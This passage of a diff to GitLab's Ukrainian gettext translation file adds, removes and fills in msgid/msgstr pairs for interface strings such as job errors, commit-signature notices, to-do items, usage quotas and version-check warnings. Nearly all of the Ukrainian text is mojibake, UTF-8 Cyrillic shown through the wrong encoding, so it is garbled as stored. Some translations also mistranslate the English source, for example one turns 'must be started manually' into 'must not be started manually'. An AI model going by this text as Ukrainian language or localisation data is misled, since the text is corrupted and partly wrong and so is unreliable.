+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "There was an error fetching the jobs for your project."
msgstr ""
@@ -42362,7 +43056,7 @@ msgid "There was an error retrieving the Jira users."
msgstr ""
msgid "There was an error running the job. Please try again."
-msgstr ""
+msgstr "Виникла помилка під Ñ‡Ð°Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸. Будь лаÑка, Ñпробуйте ще раз."
msgid "There was an error saving your changes."
msgstr "Помилка при збереженні ваших змін."
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Ð¦Ñ %{issuableDisplayName} заблокована. Лише учаÑники проєкту можуть коментувати."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr "Цей %{issuable} приховано, оÑкільки його автора було забанено"
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,20 +43241,26 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Цей коміт Ñ” чаÑтиною запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{link_to_merge_request}. Створені тут коментарі будуть в контекÑÑ‚Ñ– цього запитну на злиттÑ."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
-msgstr ""
+msgstr "Цей коміт було підпиÑано підпиÑом %{strong_open}перевіреним%{strong_close}, а електронну пошту учаÑника перевірено на приналежніÑÑ‚ÑŒ тому ж кориÑтувачеві."
msgid "This commit was signed with a different user's verified signature."
msgstr "Цей коміт підпиÑано перевіреним підпиÑом іншого кориÑтувача."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr "Цей коміт був підпиÑаний перевіреним підпиÑом, а електронна пошта учаÑника була перевірена на приналежніÑÑ‚ÑŒ тому ж кориÑтувачеві."
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "Цей коміт було підпиÑано перевіреним підпиÑом, але електронна адреÑа комітента не пов’Ñзана з ключем GPG."
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
-msgstr ""
+msgstr "Це коміт було підпиÑано %{strong_open}неперевіреним%{strong_close}підпиÑом."
+
+msgid "This commit was signed with an unverified signature."
+msgstr "Цей коміт підпиÑано неперевіреним підпиÑом."
+
+msgid "This commit was signed with multiple signatures."
+msgstr "Цей коміт підпиÑано з кількома підпиÑами."
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42668,7 +43371,7 @@ msgid "This group"
msgstr "Ð¦Ñ Ð³Ñ€ÑƒÐ¿Ð°"
msgid "This group and its subgroups and projects will be placed in a 'pending deletion' state for %{deletion_delayed_period} days, then permanently deleted on %{date}. The group can be fully restored before that date."
-msgstr ""
+msgstr "Ð¦Ñ Ð³Ñ€ÑƒÐ¿Ð° та Ñ—Ñ— підгрупи та проєкти будуть поміщені в Ñтан 'очікуєтьÑÑ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ' протÑгом %{deletion_delayed_period} днів, Ñ– оÑтаточно видалено на %{date}. Групу можна повніÑÑ‚ÑŽ відновити до цієї дати."
msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
msgstr ""
@@ -42755,7 +43458,7 @@ msgid "This issue cannot be made public because it belongs to a confidential epi
msgstr ""
msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
-msgstr ""
+msgstr "Ð¦Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° Ñ” конфіденційною Ñ– має бути видима лише учаÑникам команди з доÑтупом не нижче Ñ€Ñ–Ð²Ð½Ñ \"Репортер\"."
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr "Лог Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ñутній."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr "Це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð½Ðµ запуÑкаєтьÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾ Ñ– не має бути запущене вручну. Ви можете додати змінні CI/CD нижче Ð´Ð»Ñ Ð¾Ñтанніх змін у конфігурації перед початком завданнÑ."
+
msgid "This job has been canceled"
msgstr "Це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ відмінене"
@@ -42856,9 +43562,6 @@ msgstr "Це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð¾Ñ‡Ñ–ÐºÑƒÑ” на реÑурÑ: "
msgid "This job requires a manual action"
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ð¸Ð¼Ð°Ð³Ð°Ñ” ручних дій"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "Ð”Ð»Ñ Ð·Ð°Ð¿ÑƒÑку цього Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð½ÐµÐ¾Ð±Ñ…Ñ–Ð´Ð½Ðµ ручне втручаннÑ. Перед його запуÑком можна додати змінні нижче Ð´Ð»Ñ Ð¾Ñтанніх змін у конфігурації."
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ´Ðµ запущено автоматично піÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ñ‚Ð°Ð¹Ð¼ÐµÑ€Ð°. Зазвичай вони викориÑтовуютьÑÑ Ð´Ð»Ñ Ñ–Ð½ÐºÑ€ÐµÐ¼ÐµÐ½Ñ‚Ð°Ð»ÑŒÐ½Ð¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð² production Ñередовище. У разі ÑкаÑÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ð¾Ð½Ð¾ перетворитьÑÑ Ð½Ð° ручну операцію."
@@ -42992,7 +43695,7 @@ msgid "This project's pipeline configuration is located outside this repository"
msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð° цього проєкту знаходитьÑÑ Ð¿Ð¾Ð·Ð° межами цього репозиторію"
msgid "This release was created with a date in the past. Evidence collection at the moment of the release is unavailable."
-msgstr ""
+msgstr "Цей реліз був Ñтворений з датою в минулому. Збір доказів на момент релізу недоÑтупний."
msgid "This report uses a supported MAJOR.MINOR schema version but the PATCH version doesn't match any vendored schema version. Validation will be attempted against version %{find_latest_patch_version}"
msgstr ""
@@ -43063,8 +43766,8 @@ msgstr ""
msgid "This variable can not be masked."
msgstr "Цю змінну не можна замаÑкувати."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
-msgstr "Цей тип вразливоÑÑ‚Ñ– був заÑтарілий із Ñтандартного правила GitLab за замовчуваннÑм Ñ– автоматично вирішений."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
+msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
msgstr ""
@@ -43142,10 +43845,10 @@ msgid "Time spent"
msgstr "Витрачено чаÑу"
msgid "Time spent can't be zero."
-msgstr ""
+msgstr "Витрачений Ñ‡Ð°Ñ Ð½Ðµ може бути нульовим."
msgid "Time spent must be formatted correctly. For example: 1h 30m."
-msgstr ""
+msgstr "Витрачений Ñ‡Ð°Ñ Ð¿Ð¾Ð²Ð¸Ð½ÐµÐ½ бути правильно відформатований. Ðаприклад: 1h 30m."
msgid "Time to Restore Service"
msgstr ""
@@ -43178,7 +43881,7 @@ msgid "TimeTracking|An error occurred while removing the timelog."
msgstr ""
msgid "TimeTracking|Delete time spent"
-msgstr ""
+msgstr "Видалити витрачений чаÑ"
msgid "TimeTracking|Estimated:"
msgstr "Запланований чаÑ:"
@@ -43346,22 +44049,22 @@ msgid "Timezone"
msgstr "ЧаÑовий поÑÑ"
msgid "Time|A"
-msgstr ""
+msgstr "A"
msgid "Time|AM"
-msgstr ""
+msgstr "AM"
msgid "Time|P"
-msgstr ""
+msgstr "P"
msgid "Time|PM"
-msgstr ""
+msgstr "PM"
msgid "Time|a"
-msgstr ""
+msgstr "a"
msgid "Time|am"
-msgstr ""
+msgstr "am"
msgid "Time|hr"
msgid_plural "Time|hrs"
@@ -43378,10 +44081,10 @@ msgstr[2] "хвилин"
msgstr[3] "хвилин"
msgid "Time|p"
-msgstr ""
+msgstr "p"
msgid "Time|pm"
-msgstr ""
+msgstr "pm"
msgid "Time|s"
msgstr "Ñекунд(а)"
@@ -43396,7 +44099,7 @@ msgid "Title"
msgstr "Заголовок"
msgid "Title (required)"
-msgstr ""
+msgstr "Ðазва (обов'Ñзково)"
msgid "Title:"
msgstr "Заголовок:"
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Ð”Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ SVN-репозиторію, переглÑньте %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr "Ð”Ð»Ñ Ñ€Ð¾Ð·Ð²Ð¸Ñ‚ÐºÑƒ цього проєкту Ñтворіть нову задачу"
@@ -43648,7 +44358,7 @@ msgid "Todos|Design"
msgstr "Дизайн"
msgid "Todos|Due %{due_date}"
-msgstr ""
+msgstr "Ð§Ð°Ñ %{due_date}"
msgid "Todos|Epic"
msgstr "Епік"
@@ -43684,7 +44394,7 @@ msgid "Todos|Mark all as done"
msgstr "Позначити вÑе Ñк виконане"
msgid "Todos|Member access requested"
-msgstr ""
+msgstr "Запит на доÑтуп до учаÑника"
msgid "Todos|Mentioned"
msgstr "Згадувано"
@@ -43702,13 +44412,13 @@ msgid "Todos|Pipelines"
msgstr "Конвеєр"
msgid "Todos|Removed from Merge Train"
-msgstr ""
+msgstr "Видалено з ланцюжка змін (Merge Train)"
msgid "Todos|Review requested"
msgstr ""
msgid "Todos|The pipeline failed"
-msgstr ""
+msgstr "Конвеєр невдалий"
msgid "Todos|Undo mark all as done"
msgstr "Відмінити позначити вÑе Ñк виконано"
@@ -43723,19 +44433,19 @@ msgid "Todos|Your To-Do List shows what to work on next"
msgstr ""
msgid "Todos|added a to-do item"
-msgstr ""
+msgstr "додано нагадуваннÑ"
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
-msgstr ""
+msgstr "Згадані %{who}"
msgid "Todos|requested a review"
-msgstr ""
+msgstr "надіÑлав запит на переглÑд"
msgid "Todos|set %{who} as an approver"
-msgstr ""
+msgstr "вÑтановлено %{who} Ñк затверджуючу оÑобу"
msgid "Todos|yourself"
msgstr "Ñебе"
@@ -43843,13 +44553,13 @@ msgid "TopNav|Your dashboards"
msgstr "Ваші панелі керуваннÑ"
msgid "Topic %{source_topic} was successfully merged into topic %{target_topic}."
-msgstr ""
+msgstr "Тему %{source_topic} уÑпішно об'єднано з темою %{target_topic}."
msgid "Topic %{topic_name} was successfully created."
msgstr ""
msgid "Topic %{topic_name} was successfully removed."
-msgstr ""
+msgstr "Тему %{topic_name} уÑпішно видалено."
msgid "Topic avatar"
msgstr "Іконка теми"
@@ -43894,7 +44604,7 @@ msgid "Total cores (CPUs)"
msgstr "Ð’Ñього Ñдер (ЦП)"
msgid "Total issue weight"
-msgstr ""
+msgstr "Загальна вага задачі"
msgid "Total memory (GB)"
msgstr "Ð’Ñього памʼÑÑ‚Ñ– (ГБ)"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr "ПовернутиÑÑ Ð´Ð¾ GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "Спробуйте увійти за допомогою Ñвого імені кориÑтувача або електронної пошти. Якщо ви забули Ñвій пароль, Ñпробуйте відновити його"
+msgid "Try it out now"
+msgstr "Спробуйте зараз"
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr "Спробуйте нову веб-IDE"
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr "Ðе вдалоÑÑ Ñтворити конвеєр"
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr "Ðеможливо завантажити порівнÑÐ½Ð½Ñ (diff). %
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ віджет запиту на злиттÑ. Спробуйте перезавантажити Ñторінку."
+msgid "Unable to load the page"
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ Ñторінку"
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44546,7 +45247,10 @@ msgid "Unschedule job"
msgstr "СкаÑувати заплановане завданнÑ"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
-msgstr ""
+msgstr "Зніміть прапорець \"Розгорнути поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° змінну\", Ñкщо ви хочете викориÑтовувати Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð¼Ñ–Ð½Ð½Ð¾Ñ— Ñк неформатований Ñ€Ñдок."
+
+msgid "Unselect all"
+msgstr "СкаÑувати вÑе"
msgid "Unstar"
msgstr "Видалити із обраних"
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr "Ðепідтверджено"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Ðктуальний"
@@ -44656,6 +45363,9 @@ msgstr "Ðеможливо перейменувати проєкт, тому щÐ
msgid "UpdateProject|Could not set the default branch"
msgstr "Ðеможливо вÑтановити гілку за замовчуваннÑм"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "Ðовий рівень видимоÑÑ‚Ñ– не допуÑкаєтьÑÑ!"
@@ -44732,7 +45442,7 @@ msgid "Uploading..."
msgstr ""
msgid "Uploads"
-msgstr ""
+msgstr "ЗавантаженнÑ"
msgid "Upstream"
msgstr "Попередній"
@@ -44818,15 +45528,9 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€ÑƒÐ¿Ð¸ &gt; Квоти викориÑтан
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr "Сховище LFS"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про викориÑÑ‚Ð°Ð½Ð½Ñ ÐºÐ²Ð¾Ñ‚"
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "Конвеєри"
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr "ПроÑÑ‚Ñ–Ñ€ імен наразі викориÑтовує %{strong_s
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr "ЗавантаженнÑ"
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача &gt; Квоти викориÑтаннÑ"
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Ви викориÑтали: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45134,7 +45811,7 @@ msgid "Use issue weight"
msgstr ""
msgid "Use issues to collaborate on ideas, solve problems, and plan work"
-msgstr ""
+msgstr "ВикориÑтовуйте задачі Ð´Ð»Ñ Ñпільної роботи над ідеÑми, вирішеннÑм проблем та плануваннÑм роботи"
msgid "Use one line per URI"
msgstr "ВикориÑтовуйте один Ñ€Ñдок Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ URI"
@@ -45154,6 +45831,9 @@ msgstr "ВикориÑтовувати шаблон"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr "ВикориÑтовувати інтеграцію Apple App Store Ð´Ð»Ñ Ð»ÐµÐ³ÐºÐ¾Ð³Ð¾ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ Apple App Store з Fastlane в CI/CD конвеєрах."
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45167,7 +45847,7 @@ msgid "Use the search bar on the top of this page"
msgstr ""
msgid "Use this form to report to the administrator users who create spam issues, comments or behave inappropriately."
-msgstr ""
+msgstr "ВикориÑтовуйте цю форму, щоб повідомити адмініÑтратора про кориÑтувачів, Ñкі Ñтворюють Ñпам-повідомленнÑ, коментарі або ведуть Ñебе неналежним чином."
msgid "Use this token to validate received payloads."
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr "КориÑтувач %{current_user_username} розпочав імітÑ
msgid "User %{username} was successfully removed."
msgstr "КориÑтувача %{username} уÑпішно видалено."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr "ÐктивніÑÑ‚ÑŒ"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Вже повідомлено про зловживаннÑ"
-
msgid "UserProfile|Blocked user"
msgstr "Заблокований кориÑтувач"
@@ -45455,12 +46138,12 @@ msgstr "Обрані проєкти"
msgid "UserProfile|Subscribe"
msgstr "ПідпиÑатиÑÑ"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr "Тут немає доÑтупних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²."
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Цей кориÑтувач не має жодного підпиÑника."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Цей кориÑтувач не має оÑобиÑтих проєктів"
-
msgid "UserProfile|This user has a private profile"
msgstr "Цей кориÑтувач має приватний профіль"
@@ -45626,11 +46309,8 @@ msgstr "ВикориÑтовуєтьÑÑ Ð¾Ð±Ð¾Ð²â€™Ñзкова ÑтратегÑ
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr "VS Code у вашому браузері. ПереглÑдайте код Ñ– вноÑьте зміни з того Ñамого інтерфейÑу, що й у вашій локальній IDE 🎉"
-
-msgid "Valid From"
-msgstr ""
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
+msgstr "VS Code в браузері. ПереглÑньте код Ñ– внеÑÑ–Ñ‚ÑŒ зміни з того ж інтерфейÑу, що Ñ– в локальному IDE."
msgid "Validate"
msgstr "Перевірити"
@@ -45744,7 +46424,7 @@ msgid "ValueStreamAnalytics|Shows %{selectedSubjectFilterText} for group '%{grou
msgstr ""
msgid "ValueStreamAnalytics|Shows %{selectedSubjectFilterText} for group '%{groupName}' from %{createdAfter} to %{createdBefore}"
-msgstr ""
+msgstr "Показує %{selectedSubjectFilterText} Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ '%{groupName}з %{createdAfter} до %{createdBefore}"
msgid "ValueStreamAnalytics|Tasks by type"
msgstr ""
@@ -45765,7 +46445,7 @@ msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
msgid "ValueStreamEvent|Start"
-msgstr ""
+msgstr "Початок"
msgid "ValueStreamEvent|Stop"
msgstr ""
@@ -45777,7 +46457,7 @@ msgid "Variable"
msgstr "Змінна"
msgid "Variable value will be evaluated as raw string."
-msgstr ""
+msgstr "Ð—Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð¼Ñ–Ð½Ð½Ð¾Ñ— буде обчиÑлюватиÑÑ Ñк неформатований Ñ€Ñдок."
msgid "Variable will be masked in job logs."
msgstr "Змінна буде замаÑкована в журналі завдань."
@@ -45789,7 +46469,7 @@ msgid "Variables can be:"
msgstr ""
msgid "Variables can have several attributes."
-msgstr ""
+msgstr "Змінні можуть мати декілька атрибутів."
msgid "Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables."
msgstr ""
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr "Підтверджено"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Перевірити конфігурацію SAML"
@@ -45833,9 +46516,6 @@ msgstr "Перевірити конфігурацію"
msgid "Version"
msgstr "ВерÑÑ–Ñ"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "ВерÑÑ–Ñ %{report_version} Ð´Ð»Ñ Ñ‚Ð¸Ð¿Ñƒ звіту %{report_type} не підтримуєтьÑÑ, підтримувані верÑÑ–Ñ— цього типу звіту: %{supported_schema_versions}. GitLab Ñпробує перевірити цей звіт відноÑно ранніх підтримуваних верÑій цього типу, щоб показати вÑÑ– помилки, але не буде імпортувати звіт"
@@ -45846,19 +46526,19 @@ msgid "Version %{versionNumber} (latest)"
msgstr "ВерÑÑ–Ñ %{versionNumber} (оÑтаннÑ)"
msgid "VersionCheck|%{details}"
-msgstr ""
+msgstr "%{details}"
msgid "VersionCheck|Critical security upgrade available"
-msgstr ""
+msgstr "ДоÑтупне критичне Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸"
msgid "VersionCheck|Important notice - Critical security release"
-msgstr ""
+msgstr "Важливе Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ - Критичний випуÑк ÑиÑтеми безпеки"
msgid "VersionCheck|Learn more about this critical security release."
-msgstr ""
+msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про цей критичний реліз безпеки."
msgid "VersionCheck|Remind me again in 3 days"
-msgstr ""
+msgstr "Ðагадати знову через 3 дні"
msgid "VersionCheck|Up to date"
msgstr "Ðайновіша верÑÑ–Ñ"
@@ -45873,13 +46553,13 @@ msgid "VersionCheck|Upgrade now"
msgstr "Оновити зараз"
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation immediately."
-msgstr ""
+msgstr "Ви зараз на верÑÑ–Ñ— %{currentVersion}! Ми наполегливо рекомендуємо негайно оновити інÑталÑцію GitLab."
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation to one of the following versions immediately: %{latestStableVersions}."
-msgstr ""
+msgstr "Ви зараз на верÑÑ–Ñ— %{currentVersion}! Ми наполегливо рекомендуємо негайно оновити інÑталÑцію GitLab до однієї з наÑтупних верÑій: %{latestStableVersions}."
msgid "VersionCheck|You are currently on version %{currentVersion}. We strongly recommend upgrading your GitLab installation. %{link}"
-msgstr ""
+msgstr "Ðаразі ви перебуваєте на верÑÑ–Ñ— %{currentVersion}. Ми наполегливо рекомендуємо оновити вашу інÑталÑцію GitLab. %{link}"
msgid "VersionCheck|Your GitLab Version"
msgstr "Ваша верÑÑ–Ñ GitLab"
@@ -45905,6 +46585,9 @@ msgstr "ПроглÑнути вÑÑ– задачі"
msgid "View all projects"
msgstr "ПереглÑнути вÑÑ– проєкти"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr "ПереглÑд Ñ– Ñ€ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‚ÐºÐ¸ з можливіÑÑ‚ÑŽ попереднього переглÑду відформатованого виводу."
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr "ПереглÑнути журнал"
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr "ПереглÑнути розмітку"
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr "ПереглÑд заміненого файлу @ "
+msgid "View rich text"
+msgstr "ПереглÑд форматованого текÑту"
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr "ПереглÑнути документацію"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "ПереглÑнути оÑтаннє уÑпішне Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° це Ñередовище"
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "ВидиміÑÑ‚ÑŒ"
-
msgid "Visibility and access controls"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ð¸Ð´Ð¸Ð¼Ð¾ÑÑ‚Ñ– та доÑтупу"
@@ -46539,7 +47228,7 @@ msgid "We detected an attempt to sign in to your %{host} account using a wrong t
